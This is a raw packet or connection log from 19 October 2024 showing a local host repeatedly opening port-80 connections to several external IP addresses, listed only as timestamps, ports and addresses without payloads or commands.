Oct 19, 2024 12:58:33.656591892 CEST	80	50030	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:33.656622887 CEST	80	50030	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:33.656634092 CEST	80	50030	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:33.656657934 CEST	80	50030	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:33.656681061 CEST	50030	80	192.168.2.4	199.59.243.227
Oct 19, 2024 12:58:33.656734943 CEST	50030	80	192.168.2.4	199.59.243.227
Oct 19, 2024 12:58:34.483418941 CEST	50030	80	192.168.2.4	199.59.243.227
Oct 19, 2024 12:58:35.503412008 CEST	50031	80	192.168.2.4	199.59.243.227
Oct 19, 2024 12:58:35.508461952 CEST	80	50031	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:35.508661032 CEST	50031	80	192.168.2.4	199.59.243.227
Oct 19, 2024 12:58:35.516201973 CEST	50031	80	192.168.2.4	199.59.243.227
Oct 19, 2024 12:58:35.521040916 CEST	80	50031	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:36.149228096 CEST	80	50031	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:36.149247885 CEST	80	50031	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:36.149413109 CEST	50031	80	192.168.2.4	199.59.243.227
Oct 19, 2024 12:58:36.149727106 CEST	80	50031	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:36.149780035 CEST	50031	80	192.168.2.4	199.59.243.227
Oct 19, 2024 12:58:36.153106928 CEST	50031	80	192.168.2.4	199.59.243.227
Oct 19, 2024 12:58:36.157871008 CEST	80	50031	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:41.288436890 CEST	50032	80	192.168.2.4	172.67.196.90
Oct 19, 2024 12:58:41.293443918 CEST	80	50032	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:41.293690920 CEST	50032	80	192.168.2.4	172.67.196.90
Oct 19, 2024 12:58:41.305579901 CEST	50032	80	192.168.2.4	172.67.196.90
Oct 19, 2024 12:58:41.310406923 CEST	80	50032	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:41.958129883 CEST	80	50032	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:41.958148003 CEST	80	50032	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:41.958209991 CEST	50032	80	192.168.2.4	172.67.196.90
Oct 19, 2024 12:58:41.959985018 CEST	80	50032	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:41.960037947 CEST	50032	80	192.168.2.4	172.67.196.90
Oct 19, 2024 12:58:42.814013958 CEST	50032	80	192.168.2.4	172.67.196.90
Oct 19, 2024 12:58:43.832010031 CEST	50033	80	192.168.2.4	172.67.196.90
Oct 19, 2024 12:58:43.837027073 CEST	80	50033	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:43.837101936 CEST	50033	80	192.168.2.4	172.67.196.90
Oct 19, 2024 12:58:43.851504087 CEST	50033	80	192.168.2.4	172.67.196.90
Oct 19, 2024 12:58:43.856327057 CEST	80	50033	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:44.515961885 CEST	80	50033	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:44.518013000 CEST	80	50033	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:44.518081903 CEST	50033	80	192.168.2.4	172.67.196.90
Oct 19, 2024 12:58:45.361861944 CEST	50033	80	192.168.2.4	172.67.196.90
Oct 19, 2024 12:58:46.378226042 CEST	50034	80	192.168.2.4	172.67.196.90
Oct 19, 2024 12:58:46.383176088 CEST	80	50034	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:46.383255005 CEST	50034	80	192.168.2.4	172.67.196.90
Oct 19, 2024 12:58:46.396898985 CEST	50034	80	192.168.2.4	172.67.196.90
Oct 19, 2024 12:58:46.401815891 CEST	80	50034	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:46.401830912 CEST	80	50034	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:46.401853085 CEST	80	50034	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:46.401866913 CEST	80	50034	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:46.401882887 CEST	80	50034	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:46.402043104 CEST	80	50034	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:46.402055025 CEST	80	50034	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:46.402101994 CEST	80	50034	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:46.402113914 CEST	80	50034	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:47.125828028 CEST	80	50034	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:47.127578974 CEST	80	50034	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:47.127682924 CEST	50034	80	192.168.2.4	172.67.196.90
Oct 19, 2024 12:58:47.905019999 CEST	50034	80	192.168.2.4	172.67.196.90
Oct 19, 2024 12:58:48.929202080 CEST	50035	80	192.168.2.4	172.67.196.90
Oct 19, 2024 12:58:48.934189081 CEST	80	50035	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:48.934401989 CEST	50035	80	192.168.2.4	172.67.196.90
Oct 19, 2024 12:58:48.941499949 CEST	50035	80	192.168.2.4	172.67.196.90
Oct 19, 2024 12:58:48.946371078 CEST	80	50035	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:49.609735966 CEST	80	50035	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:49.609761000 CEST	80	50035	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:49.612890005 CEST	80	50035	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:49.613095045 CEST	50035	80	192.168.2.4	172.67.196.90
Oct 19, 2024 12:58:49.627794027 CEST	50035	80	192.168.2.4	172.67.196.90
Oct 19, 2024 12:58:49.632594109 CEST	80	50035	172.67.196.90	192.168.2.4
Oct 19, 2024 12:58:54.659321070 CEST	50036	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:54.664171934 CEST	80	50036	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:54.667403936 CEST	50036	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:54.679333925 CEST	50036	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:54.684154034 CEST	80	50036	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:55.283765078 CEST	80	50036	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:55.287439108 CEST	50036	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:56.186933994 CEST	50036	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:56.191935062 CEST	80	50036	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:57.207326889 CEST	50037	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:57.212387085 CEST	80	50037	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:57.212492943 CEST	50037	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:57.223731995 CEST	50037	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:57.228673935 CEST	80	50037	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:57.831686974 CEST	80	50037	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:57.831784010 CEST	50037	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:58.734532118 CEST	50037	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:58.739440918 CEST	80	50037	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:59.752927065 CEST	50038	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:59.757872105 CEST	80	50038	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:59.757962942 CEST	50038	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:59.770391941 CEST	50038	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:59.775321960 CEST	80	50038	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:59.775336981 CEST	80	50038	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:59.775356054 CEST	80	50038	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:59.775363922 CEST	80	50038	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:59.775367975 CEST	80	50038	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:59.775491953 CEST	80	50038	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:59.775509119 CEST	80	50038	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:59.775568008 CEST	80	50038	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:59.775577068 CEST	80	50038	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:00.399142981 CEST	80	50038	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:00.399260044 CEST	50038	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:01.280679941 CEST	50038	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:01.285531998 CEST	80	50038	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:02.300292969 CEST	50039	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:02.305399895 CEST	80	50039	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:02.305488110 CEST	50039	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:02.315072060 CEST	50039	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:02.319926977 CEST	80	50039	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:02.923027039 CEST	80	50039	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:02.923620939 CEST	80	50039	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:02.923815966 CEST	50039	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:02.927311897 CEST	50039	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:02.932467937 CEST	80	50039	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:07.961457968 CEST	50040	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:07.966419935 CEST	80	50040	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:07.966495991 CEST	50040	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:07.984530926 CEST	50040	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:07.989568949 CEST	80	50040	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:09.146131039 CEST	80	50040	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:09.146199942 CEST	80	50040	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:09.146276951 CEST	50040	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:09.146533966 CEST	80	50040	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:09.146612883 CEST	50040	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:09.498648882 CEST	50040	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:09.503485918 CEST	80	50040	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:10.517961025 CEST	50041	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:10.522957087 CEST	80	50041	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:10.523044109 CEST	50041	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:10.535514116 CEST	50041	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:10.540386915 CEST	80	50041	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:12.045608997 CEST	50041	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:12.051301956 CEST	80	50041	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:12.051357985 CEST	50041	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:13.067286968 CEST	50042	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:13.072247028 CEST	80	50042	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:13.075443983 CEST	50042	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:13.087300062 CEST	50042	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:13.092305899 CEST	80	50042	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:13.092327118 CEST	80	50042	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:13.092379093 CEST	80	50042	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:13.092453957 CEST	80	50042	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:13.092514992 CEST	80	50042	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:13.092524052 CEST	80	50042	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:13.092531919 CEST	80	50042	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:13.092567921 CEST	80	50042	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:13.092576981 CEST	80	50042	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:13.710830927 CEST	80	50042	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:13.710882902 CEST	50042	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:14.592389107 CEST	50042	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:14.597336054 CEST	80	50042	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:15.611449957 CEST	50043	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:15.616434097 CEST	80	50043	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:15.621433020 CEST	50043	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:15.625636101 CEST	50043	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:15.630528927 CEST	80	50043	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:16.263792038 CEST	80	50043	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:16.264565945 CEST	80	50043	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:16.264611006 CEST	50043	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:16.266953945 CEST	50043	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:16.271826029 CEST	80	50043	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:21.307214975 CEST	50044	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:21.312205076 CEST	80	50044	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:21.312340021 CEST	50044	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:21.323249102 CEST	50044	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:21.329225063 CEST	80	50044	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:22.826778889 CEST	50044	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:22.951355934 CEST	80	50044	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:22.954823017 CEST	80	50044	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:23.074651003 CEST	80	50044	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:23.074748039 CEST	50044	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:23.847356081 CEST	50045	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:23.852324009 CEST	80	50045	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:23.852392912 CEST	50045	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:23.867810011 CEST	50045	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:23.873613119 CEST	80	50045	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:25.373667002 CEST	50045	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:25.378873110 CEST	80	50045	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:25.381503105 CEST	50045	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:26.407331944 CEST	50046	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:26.412306070 CEST	80	50046	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:26.412389994 CEST	50046	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:26.439686060 CEST	50046	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:26.444586992 CEST	80	50046	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:26.444639921 CEST	80	50046	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:26.444648981 CEST	80	50046	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:26.444657087 CEST	80	50046	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:26.444669008 CEST	80	50046	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:26.444787025 CEST	80	50046	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:26.444796085 CEST	80	50046	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:26.444806099 CEST	80	50046	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:26.444814920 CEST	80	50046	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:27.045386076 CEST	80	50046	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:27.045458078 CEST	50046	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:27.951888084 CEST	50046	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:27.956768036 CEST	80	50046	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:28.997345924 CEST	50047	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:29.002386093 CEST	80	50047	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:29.005743027 CEST	50047	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:29.056119919 CEST	50047	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:29.061269045 CEST	80	50047	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:29.646204948 CEST	80	50047	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:29.646998882 CEST	80	50047	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:29.649501085 CEST	50047	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:29.653552055 CEST	50047	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:59:29.658318043 CEST	80	50047	3.33.130.190	192.168.2.4
Oct 19, 2024 12:59:35.636054993 CEST	50048	80	192.168.2.4	129.226.56.200
Oct 19, 2024 12:59:35.640955925 CEST	80	50048	129.226.56.200	192.168.2.4
Oct 19, 2024 12:59:35.641405106 CEST	50048	80	192.168.2.4	129.226.56.200
Oct 19, 2024 12:59:35.653805971 CEST	50048	80	192.168.2.4	129.226.56.200
Oct 19, 2024 12:59:35.658624887 CEST	80	50048	129.226.56.200	192.168.2.4
Oct 19, 2024 12:59:36.625159025 CEST	80	50048	129.226.56.200	192.168.2.4
Oct 19, 2024 12:59:36.814327955 CEST	80	50048	129.226.56.200	192.168.2.4
Oct 19, 2024 12:59:36.817387104 CEST	50048	80	192.168.2.4	129.226.56.200
Oct 19, 2024 12:59:37.154849052 CEST	50048	80	192.168.2.4	129.226.56.200
Oct 19, 2024 12:59:38.175065041 CEST	50049	80	192.168.2.4	129.226.56.200
Oct 19, 2024 12:59:38.180269957 CEST	80	50049	129.226.56.200	192.168.2.4
Oct 19, 2024 12:59:38.180372953 CEST	50049	80	192.168.2.4	129.226.56.200
Oct 19, 2024 12:59:38.195497990 CEST	50049	80	192.168.2.4	129.226.56.200
Oct 19, 2024 12:59:38.200767040 CEST	80	50049	129.226.56.200	192.168.2.4
Oct 19, 2024 12:59:39.134040117 CEST	80	50049	129.226.56.200	192.168.2.4
Oct 19, 2024 12:59:39.187203884 CEST	50049	80	192.168.2.4	129.226.56.200
Oct 19, 2024 12:59:39.315416098 CEST	80	50049	129.226.56.200	192.168.2.4
Oct 19, 2024 12:59:39.315587997 CEST	50049	80	192.168.2.4	129.226.56.200
Oct 19, 2024 12:59:39.701786995 CEST	50049	80	192.168.2.4	129.226.56.200
Oct 19, 2024 12:59:40.721272945 CEST	50050	80	192.168.2.4	129.226.56.200
Oct 19, 2024 12:59:41.146348953 CEST	80	50050	129.226.56.200	192.168.2.4
Oct 19, 2024 12:59:41.149580002 CEST	50050	80	192.168.2.4	129.226.56.200
Oct 19, 2024 12:59:41.161271095 CEST	50050	80	192.168.2.4	129.226.56.200
Oct 19, 2024 12:59:41.166157961 CEST	80	50050	129.226.56.200	192.168.2.4
Oct 19, 2024 12:59:41.166168928 CEST	80	50050	129.226.56.200	192.168.2.4
Oct 19, 2024 12:59:41.166178942 CEST	80	50050	129.226.56.200	192.168.2.4
Oct 19, 2024 12:59:41.166197062 CEST	80	50050	129.226.56.200	192.168.2.4
Oct 19, 2024 12:59:41.166204929 CEST	80	50050	129.226.56.200	192.168.2.4
Oct 19, 2024 12:59:41.166383982 CEST	80	50050	129.226.56.200	192.168.2.4
Oct 19, 2024 12:59:41.166392088 CEST	80	50050	129.226.56.200	192.168.2.4
Oct 19, 2024 12:59:41.166445971 CEST	80	50050	129.226.56.200	192.168.2.4
Oct 19, 2024 12:59:41.166455030 CEST	80	50050	129.226.56.200	192.168.2.4
Oct 19, 2024 12:59:42.105974913 CEST	80	50050	129.226.56.200	192.168.2.4
Oct 19, 2024 12:59:42.151328087 CEST	50050	80	192.168.2.4	129.226.56.200
Oct 19, 2024 12:59:42.290198088 CEST	80	50050	129.226.56.200	192.168.2.4
Oct 19, 2024 12:59:42.290270090 CEST	50050	80	192.168.2.4	129.226.56.200
Oct 19, 2024 12:59:42.670588017 CEST	50050	80	192.168.2.4	129.226.56.200
Oct 19, 2024 12:59:43.689361095 CEST	50051	80	192.168.2.4	129.226.56.200
Oct 19, 2024 12:59:43.694442987 CEST	80	50051	129.226.56.200	192.168.2.4
Oct 19, 2024 12:59:43.694597006 CEST	50051	80	192.168.2.4	129.226.56.200
Oct 19, 2024 12:59:43.702356100 CEST	50051	80	192.168.2.4	129.226.56.200
Oct 19, 2024 12:59:43.707155943 CEST	80	50051	129.226.56.200	192.168.2.4
Oct 19, 2024 12:59:44.676678896 CEST	80	50051	129.226.56.200	192.168.2.4
Oct 19, 2024 12:59:44.717271090 CEST	50051	80	192.168.2.4	129.226.56.200
Oct 19, 2024 12:59:44.860420942 CEST	80	50051	129.226.56.200	192.168.2.4
Oct 19, 2024 12:59:44.862402916 CEST	50051	80	192.168.2.4	129.226.56.200
Oct 19, 2024 12:59:44.862402916 CEST	50051	80	192.168.2.4	129.226.56.200
Oct 19, 2024 12:59:44.867233038 CEST	80	50051	129.226.56.200	192.168.2.4
Oct 19, 2024 12:59:50.279336929 CEST	50052	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:50.284537077 CEST	80	50052	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:50.284612894 CEST	50052	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:50.297528982 CEST	50052	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:50.302376032 CEST	80	50052	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:50.923250914 CEST	80	50052	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:50.927787066 CEST	50052	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:51.843746901 CEST	50052	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:51.848647118 CEST	80	50052	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:52.862771988 CEST	50053	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:52.872828960 CEST	80	50053	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:52.872935057 CEST	50053	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:52.883503914 CEST	50053	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:52.888540983 CEST	80	50053	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:53.524760008 CEST	80	50053	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:53.527213097 CEST	50053	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:54.389980078 CEST	50053	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:54.396962881 CEST	80	50053	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:55.409329891 CEST	50054	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:55.414714098 CEST	80	50054	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:55.417381048 CEST	50054	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:55.429565907 CEST	50054	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:55.434672117 CEST	80	50054	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:55.434681892 CEST	80	50054	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:55.434685946 CEST	80	50054	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:55.434967995 CEST	80	50054	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:55.434977055 CEST	80	50054	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:55.434986115 CEST	80	50054	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:55.435122967 CEST	80	50054	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:55.435131073 CEST	80	50054	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:55.435141087 CEST	80	50054	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:56.063960075 CEST	80	50054	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:56.064034939 CEST	50054	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:56.937186956 CEST	50054	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:56.942414045 CEST	80	50054	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:57.965708017 CEST	50055	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:57.970762968 CEST	80	50055	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:57.970880985 CEST	50055	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:57.979615927 CEST	50055	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:57.984481096 CEST	80	50055	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:58.617046118 CEST	80	50055	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:58.617074013 CEST	80	50055	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:58.617085934 CEST	80	50055	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:58.617219925 CEST	50055	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:58.617948055 CEST	80	50055	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:58.617990017 CEST	50055	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:58.618014097 CEST	80	50055	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:58.618024111 CEST	80	50055	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:58.618032932 CEST	80	50055	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:58.618041992 CEST	80	50055	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:58.618053913 CEST	80	50055	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:58.618060112 CEST	50055	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:58.618067026 CEST	80	50055	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:58.618086100 CEST	50055	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:58.618102074 CEST	50055	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:58.623495102 CEST	80	50055	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:58.623691082 CEST	80	50055	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:58.623749971 CEST	50055	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:58.646066904 CEST	80	50055	84.32.84.32	192.168.2.4
Oct 19, 2024 12:59:58.646177053 CEST	50055	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:58.647073984 CEST	50055	80	192.168.2.4	84.32.84.32
Oct 19, 2024 12:59:58.653546095 CEST	80	50055	84.32.84.32	192.168.2.4
Oct 19, 2024 13:00:03.705526114 CEST	50056	80	192.168.2.4	3.33.130.190
Oct 19, 2024 13:00:03.710329056 CEST	80	50056	3.33.130.190	192.168.2.4
Oct 19, 2024 13:00:03.711226940 CEST	50056	80	192.168.2.4	3.33.130.190
Oct 19, 2024 13:00:03.721625090 CEST	50056	80	192.168.2.4	3.33.130.190
Oct 19, 2024 13:00:03.726430893 CEST	80	50056	3.33.130.190	192.168.2.4
Oct 19, 2024 13:00:04.340150118 CEST	80	50056	3.33.130.190	192.168.2.4
Oct 19, 2024 13:00:04.340209961 CEST	50056	80	192.168.2.4	3.33.130.190
Oct 19, 2024 13:00:05.235162020 CEST	50056	80	192.168.2.4	3.33.130.190
Oct 19, 2024 13:00:05.240119934 CEST	80	50056	3.33.130.190	192.168.2.4
Oct 19, 2024 13:00:06.252660036 CEST	50057	80	192.168.2.4	3.33.130.190
Oct 19, 2024 13:00:06.925771952 CEST	80	50057	3.33.130.190	192.168.2.4
Oct 19, 2024 13:00:06.927247047 CEST	50057	80	192.168.2.4	3.33.130.190
Oct 19, 2024 13:00:06.939129114 CEST	50057	80	192.168.2.4	3.33.130.190
Oct 19, 2024 13:00:06.943954945 CEST	80	50057	3.33.130.190	192.168.2.4
Oct 19, 2024 13:00:07.580261946 CEST	80	50057	3.33.130.190	192.168.2.4
Oct 19, 2024 13:00:07.583241940 CEST	50057	80	192.168.2.4	3.33.130.190
Oct 19, 2024 13:00:08.451664925 CEST	50057	80	192.168.2.4	3.33.130.190
Oct 19, 2024 13:00:08.456691027 CEST	80	50057	3.33.130.190	192.168.2.4
Oct 19, 2024 13:00:09.473176003 CEST	50058	80	192.168.2.4	3.33.130.190
